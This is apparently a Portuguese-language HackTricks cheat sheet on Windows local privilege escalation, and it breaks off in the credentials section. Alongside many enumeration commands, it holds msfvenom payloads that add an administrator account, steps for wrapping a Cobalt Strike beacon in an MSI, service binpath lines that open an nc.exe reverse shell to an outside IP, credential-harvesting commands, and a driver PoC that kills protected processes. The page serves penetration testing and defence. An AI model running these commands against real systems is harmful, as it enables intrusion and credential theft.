Windows Local Privilege Escalation

Reading time: 62 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Melhor ferramenta para procurar vetores de Windows local privilege escalation: WinPEAS

Teoria inicial do Windows

Access Tokens

Se você não sabe o que são Windows Access Tokens, leia a página a seguir antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulte a página a seguir para mais informações sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Se você não sabe o que são níveis de integridade no Windows, deve ler a página a seguir antes de continuar:

Integrity Levels

Controles de Segurança do Windows

Existem diferentes mecanismos no Windows que podem impedir você de enumerar o sistema, executar executáveis ou até detectar suas atividades. Você deve ler a seguinte página e enumerar todos esses mecanismos de defesa antes de iniciar a enumeração de privilege escalation:

Windows Security Controls

Informações do Sistema

Enumeração de informações da versão

Verifique se a versão do Windows tem alguma vulnerabilidade conhecida (verifique também os patches aplicados).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Explorações por Versão

Este site é útil para pesquisar informações detalhadas sobre vulnerabilidades de segurança da Microsoft. Este banco de dados tem mais de 4,700 vulnerabilidades de segurança, mostrando a massiva superfície de ataque que um ambiente Windows apresenta.

No sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas tem watson embutido)

Localmente com informações do sistema

Repositórios GitHub de exploits:

Ambiente

Alguma credencial/informação Juicy salva nas env variables?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Histórico do PowerShell

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Arquivos de transcrição do PowerShell

Você pode aprender como ativar isso em https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Detalhes das execuções do pipeline do PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e os resultados de saída podem não ser capturados.

Para habilitar isso, siga as instruções na seção "Transcript files" da documentação, optando por "Module Logging" em vez de "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver os últimos 15 eventos dos logs do PowersShell, execute:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Um registro completo de atividade e do conteúdo total da execução do script é capturado, garantindo que cada bloco de código seja documentado enquanto é executado. Esse processo preserva um registro de auditoria abrangente de cada atividade, valioso para forensics e para análise de comportamento malicioso. Ao documentar toda a atividade no momento da execução, são fornecidos insights detalhados sobre o processo.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Os eventos de log para o Script Block podem ser encontrados no Visualizador de Eventos do Windows no caminho: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para visualizar os últimos 20 eventos você pode usar:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configurações de Internet

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Você pode comprometer o sistema se as atualizações não forem solicitadas usando httpS mas http.

Comece verificando se a rede usa uma atualização WSUS sem SSL executando o seguinte no cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ou o seguinte em PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se você receber uma resposta como uma destas:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ou Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" for igual a 1.

Então, é explorável. Se o último registro for igual a 0, a entrada WSUS será ignorada.

Para explorar essa(s) vulnerabilidade(s) você pode usar ferramentas como: Wsuxploit, pyWSUS - São scripts de exploit MiTM para injetar atualizações 'falsas' em tráfego WSUS não-SSL.

Leia a pesquisa aqui:

WSUS CVE-2020-1013

Read the complete report here.
Basicamente, esta é a falha que esse bug explora:

Se tivermos poder para modificar o proxy do usuário local, e o Windows Updates usar o proxy configurado nas configurações do Internet Explorer, então teremos poder para executar PyWSUS localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado na nossa máquina.

Além disso, como o serviço WSUS usa as configurações do usuário atual, ele também usará seu repositório de certificados. Se gerarmos um certificado self-signed para o hostname do WSUS e adicionarmos esse certificado ao repositório de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego HTTP quanto o HTTPS do WSUS. WSUS não usa mecanismos do tipo HSTS para implementar uma validação trust-on-first-use do certificado. Se o certificado apresentado for confiável pelo usuário e tiver o hostname correto, ele será aceito pelo serviço.

Você pode explorar essa vulnerabilidade usando a ferramenta WSUSpicious (uma vez liberada).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Muitos agentes empresariais expõem uma superfície IPC localhost e um canal de atualização privilegiado. Se o enrollment puder ser coagido para um servidor do atacante e o updater confiar em um rogue root CA ou em checagens de assinador fracas, um usuário local pode entregar um MSI malicioso que o serviço SYSTEM instala. Veja uma técnica generalizada (baseada na cadeia Netskope stAgentSvc – CVE-2025-0309) aqui:

Abusing Auto Updaters And Ipc

KrbRelayUp

Uma vulnerabilidade de local privilege escalation existe em ambientes de domínio Windows sob condições específicas. Essas condições incluem ambientes onde LDAP signing is not enforced, usuários possuem direitos que lhes permitem configurar Resource-Based Constrained Delegation (RBCD), e a capacidade de usuários criarem computadores dentro do domínio. É importante notar que esses requisitos são atendidos usando as configurações padrão.

Encontre o exploit em https://github.com/Dec0ne/KrbRelayUp

Para mais informações sobre o fluxo do ataque, veja https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If esses 2 registros estão habilitados (valor é 0x1), então usuários de qualquer privilégio podem instalar (executar) *.msi como NT AUTHORITY\SYSTEM.

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se você tiver uma sessão meterpreter, pode automatizar essa técnica usando o módulo exploit/windows/local/always_install_elevated

PowerUP

Use o comando Write-UserAddMSI do power-up para criar, no diretório atual, um binário MSI do Windows para escalar privilégios. Esse script grava um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GUI):

Write-UserAddMSI

Basta executar o binário criado para escalar privilégios.

MSI Wrapper

Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Note que você pode empacotar um arquivo .bat se você apenas quiser executar linhas de comando

MSI Wrapper

Criar MSI com WIX

Create MSI with WIX

Criar MSI com Visual Studio

  • Gere com Cobalt Strike ou Metasploit um novo Windows EXE TCP payload em C:\privesc\beacon.exe
  • Abra Visual Studio, selecione Create a new project e digite "installer" na caixa de busca. Selecione o projeto Setup Wizard e clique Next.
  • Dê ao projeto um nome, como AlwaysPrivesc, use C:\privesc como localização, selecione place solution and project in the same directory, e clique Create.
  • Continue clicando Next até chegar ao passo 3 de 4 (choose files to include). Clique Add e selecione o Beacon payload que você acabou de gerar. Depois clique em Finish.
  • Selecione o projeto AlwaysPrivesc no Solution Explorer e, em Properties, altere TargetPlatform de x86 para x64.
  • Existem outras propriedades que você pode alterar, como Author e Manufacturer, o que pode tornar o aplicativo instalado mais legítimo.
  • Clique com o botão direito no projeto e selecione View > Custom Actions.
  • Clique com o botão direito em Install e selecione Add Custom Action.
  • Dê um duplo clique em Application Folder, selecione seu arquivo beacon.exe e clique em OK. Isso garantirá que o beacon payload seja executado assim que o instalador for executado.
  • Em Custom Action Properties, altere Run64Bit para True.
  • Finalmente, build it.
  • Se o aviso File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' for exibido, certifique-se de definir a plataforma para x64.

Instalação do MSI

Para executar a instalação do arquivo .msi malicioso em background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explorar esta vulnerabilidade você pode usar: exploit/windows/local/always_install_elevated

Antivírus e Detectores

Configurações de Auditoria

Essas configurações determinam o que está sendo registrado, então você deve prestar atenção

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, é interessante saber para onde os logs são enviados

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS foi projetado para o gerenciamento de senhas do Administrador local, garantindo que cada senha seja única, aleatória e atualizada regularmente em computadores ingressados em um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que receberam permissões suficientes através de ACLs, permitindo que visualizem local admin passwords se autorizados.

LAPS

WDigest

Se ativo, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
Mais informações sobre WDigest nesta página.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partir do Windows 8.1, a Microsoft introduziu proteção reforçada para o Local Security Authority (LSA) para bloquear tentativas de processos não confiáveis de ler sua memória ou injetar código, aumentando a segurança do sistema.
More info about LSA Protection here.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard foi introduzido no Windows 10. Seu objetivo é proteger as credenciais armazenadas em um dispositivo contra ameaças como ataques pass-the-hash.| Mais informações sobre Credentials Guard aqui.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials são autenticadas pela Local Security Authority (LSA) e utilizadas pelos componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um registered security package, domain credentials para o usuário normalmente são estabelecidas.
Mais informações sobre Cached Credentials aqui.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuários e Grupos

Enumerar Usuários e Grupos

Você deve verificar se algum dos grupos aos quais você pertence tem permissões interessantes

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Se você pertence a algum grupo privilegiado, pode ser capaz de escalar privilégios. Saiba sobre grupos privilegiados e como abusar deles para escalar privilégios aqui:

Privileged Groups

Manipulação de Tokens

Saiba mais sobre o que é um token nesta página: Windows Tokens.
Consulte a página a seguir para aprender sobre tokens interessantes e como abusar deles:

Abusing Tokens

Usuários logados / Sessões

bash
qwinsta
klist sessions

Pastas do usuário

bash
dir C:\Users
Get-ChildItem C:\Users

Política de Senhas

bash
net accounts

Obter o conteúdo da área de transferência

bash
powershell -command "Get-Clipboard"

Processos em Execução

Permissões de Arquivos e Pastas

Ao listar os processos, verifique se há senhas na linha de comando do processo.
Verifique se você pode sobrescrever algum binário em execução ou se tem permissões de escrita na pasta do binário para explorar possíveis DLL Hijacking attacks:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Sempre verifique se há electron/cef/chromium debuggers em execução, você pode abusar deles para escalar privilégios.

Verificando as permissões dos binários dos processos

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verificando permissões das pastas dos binários dos processos (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Mineração de senhas na memória

Você pode criar um dump de memória de um processo em execução usando procdump do sysinternals. Serviços como FTP têm as credentials in clear text in memory, tente fazer o dump da memória e ler as credentials.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicativos GUI inseguros

Aplicativos executados como SYSTEM podem permitir que um usuário inicie um CMD ou navegue por diretórios.

Exemplo: "Windows Help and Support" (Windows + F1), procure por "command prompt", clique em "Click to open Command Prompt"

Serviços

Service Triggers permitem que o Windows inicie um serviço quando ocorrem certas condições (atividade de named pipe/RPC endpoint, eventos ETW, disponibilidade de IP, chegada de dispositivo, GPO refresh, etc.). Mesmo sem direitos SERVICE_START você frequentemente pode iniciar serviços privilegiados acionando seus triggers. Veja técnicas de enumeração e ativação aqui:

Service Triggers

Obtenha uma lista de serviços:

bash
net start
wmic service list brief
sc query
Get-Service

Permissões

Você pode usar sc para obter informações sobre um serviço

bash
sc qc <service_name>

É recomendado ter o binário accesschk do Sysinternals para verificar o nível de privilégio necessário para cada serviço.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Recomenda-se verificar se "Authenticated Users" podem modificar qualquer serviço:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Habilitar serviço

Se você estiver tendo esse erro (por exemplo com SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Você pode habilitá-lo usando

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tenha em conta que o serviço upnphost depende de SSDPSRV para funcionar (para XP SP1)

Outra solução alternativa para este problema é executar:

sc.exe config usosvc start= auto

Modificar service binary path

No cenário em que o grupo "Authenticated users" possui SERVICE_ALL_ACCESS em um service, é possível modificar o executable binary do service. Para modificar e executar sc:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar serviço

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privilégios podem ser escalados através de várias permissões:

  • SERVICE_CHANGE_CONFIG: Permite a reconfiguração do binário do serviço.
  • WRITE_DAC: Habilita a reconfiguração de permissões, levando à capacidade de alterar as configurações do serviço.
  • WRITE_OWNER: Permite a aquisição de propriedade e a reconfiguração de permissões.
  • GENERIC_WRITE: Concede a capacidade de alterar as configurações do serviço.
  • GENERIC_ALL: Também concede a capacidade de alterar as configurações do serviço.

Para a detecção e exploração desta vulnerabilidade, o exploit/windows/local/service_permissions pode ser utilizado.

Permissões fracas dos binários de serviço

Verifique se você pode modificar o binário que é executado por um serviço ou se você tem permissões de escrita na pasta onde o binário está localizado (DLL Hijacking).
Você pode obter todos os binários que são executados por um serviço usando wmic (não em system32) e verificar suas permissões usando icacls:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Você também pode usar sc e icacls:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permissões de modificação do registro de serviços

Você deve verificar se pode modificar algum registro de serviço.
Você pode verificar suas permissões sobre um registro de serviço fazendo:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Deve-se verificar se Authenticated Users ou NT AUTHORITY\INTERACTIVE possuem permissões FullControl. Se sim, o binário executado pelo serviço pode ser alterado.

Para alterar o Path do binário executado:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

Se você tiver essa permissão sobre um registry isso significa que você pode criar sub registries a partir deste. No caso de Windows services isso é suficiente para executar código arbitrário:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Se o caminho para um executável não estiver entre aspas, Windows tentará executar cada parte terminando antes de um espaço.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Listar todos os caminhos de serviço não entre aspas, excluindo os pertencentes aos serviços integrados do Windows:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Você pode detectar e explorar esta vulnerabilidade com metasploit: exploit/windows/local/trusted\_service\_path Você pode criar manualmente um binário de serviço com metasploit:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Ações de Recuperação

Windows permite que usuários especifiquem ações a serem tomadas se um serviço falhar. Esse recurso pode ser configurado para apontar para um binário. Se esse binário puder ser substituído, pode ser possível a elevação de privilégios. Mais detalhes podem ser encontrados na official documentation.

Aplicações

Aplicações Instaladas

Verifique as permissões dos binários (talvez você consiga sobrescrever um e elevar privilégios) e das pastas (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permissões de Escrita

Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks).

Uma forma de encontrar permissões fracas em pastas/arquivos no sistema é executar:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Executar na inicialização

Verifique se você pode sobrescrever algum registry ou binary que será executado por um usuário diferente.
Leia a página a seguir para saber mais sobre interessantes autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drivers

Procure por possíveis third party weird/vulnerable drivers

bash
driverquery
driverquery.exe /fo table
driverquery /SI

Se um driver expõe um arbitrary kernel read/write primitive (comum em IOCTL handlers mal projetados), você pode escalar roubando um SYSTEM token diretamente da kernel memory. Veja a técnica passo a passo aqui:

Arbitrary Kernel Rw Token Theft

Abusando da ausência de FILE_DEVICE_SECURE_OPEN em device objects (LPE + EDR kill)

Alguns drivers de terceiros assinados criam seu device object com um SDDL forte via IoCreateDeviceSecure mas esquecem de definir FILE_DEVICE_SECURE_OPEN em DeviceCharacteristics. Sem essa flag, a secure DACL não é aplicada quando o device é aberto através de um caminho que contenha um componente extra, permitindo que qualquer usuário não privilegiado obtenha um handle usando um namespace path como:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Uma vez que um usuário consegue abrir o device, IOCTLs privilegiados expostos pelo driver podem ser abusados para LPE e tampering. Capacidades observadas na prática:

  • Retornar handles com acesso total para processos arbitrários (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
  • Terminar processos arbitrários, incluindo Protected Process/Light (PP/PPL), permitindo AV/EDR kill a partir do user land via kernel.

Padrão mínimo de PoC (user mode):

c
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigações para desenvolvedores

  • Sempre defina FILE_DEVICE_SECURE_OPEN ao criar device objects destinados a ser restritos por um DACL.
  • Valide o contexto do caller para operações privilegiadas. Adicione verificações PP/PPL antes de permitir a terminação de processos ou a devolução de handles.
  • Restrinja IOCTLs (access masks, METHOD_*, input validation) e considere brokered models em vez de privilégios diretos do kernel.

Detection ideas for defenders

  • Monitore user-mode opens de nomes de dispositivos suspeitos (e.g., \ .\amsdk*) e sequências específicas de IOCTL indicativas de abuso.
  • Aplique a vulnerable driver blocklist da Microsoft (HVCI/WDAC/Smart App Control) e mantenha suas próprias allow/deny lists.

PATH DLL Hijacking

Se você tem write permissions inside a folder present on PATH você pode ser capaz de hijackar uma DLL carregada por um processo e escalate privileges.

Verifique as permissões de todas as pastas dentro do PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para mais informações sobre como explorar esta verificação:

Writable Sys Path +Dll Hijacking Privesc

Rede

Compartilhamentos

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifique se existem outros computadores conhecidos hardcoded no hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de Rede & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Verifique a presença de restricted services externamente

bash
netstat -ano #Opened ports?

Tabela de Roteamento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Regras de Firewall

Consulte esta página para comandos relacionados ao Firewall (listar regras, criar regras, desativar, desativar...)

Mais comandos para enumeração de rede aqui

Subsistema Windows para Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

O binário bash.exe também pode ser encontrado em C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se você conseguir root user, poderá escutar em qualquer porta (a primeira vez que você usar nc.exe para escutar em uma porta, ele perguntará via GUI se nc deve ser permitido pelo firewall).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar o bash como root facilmente, você pode tentar --default-user root

Você pode explorar o WSL filesystem na pasta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciais do Windows

Credenciais do Winlogon

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Gerenciador de Credenciais / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
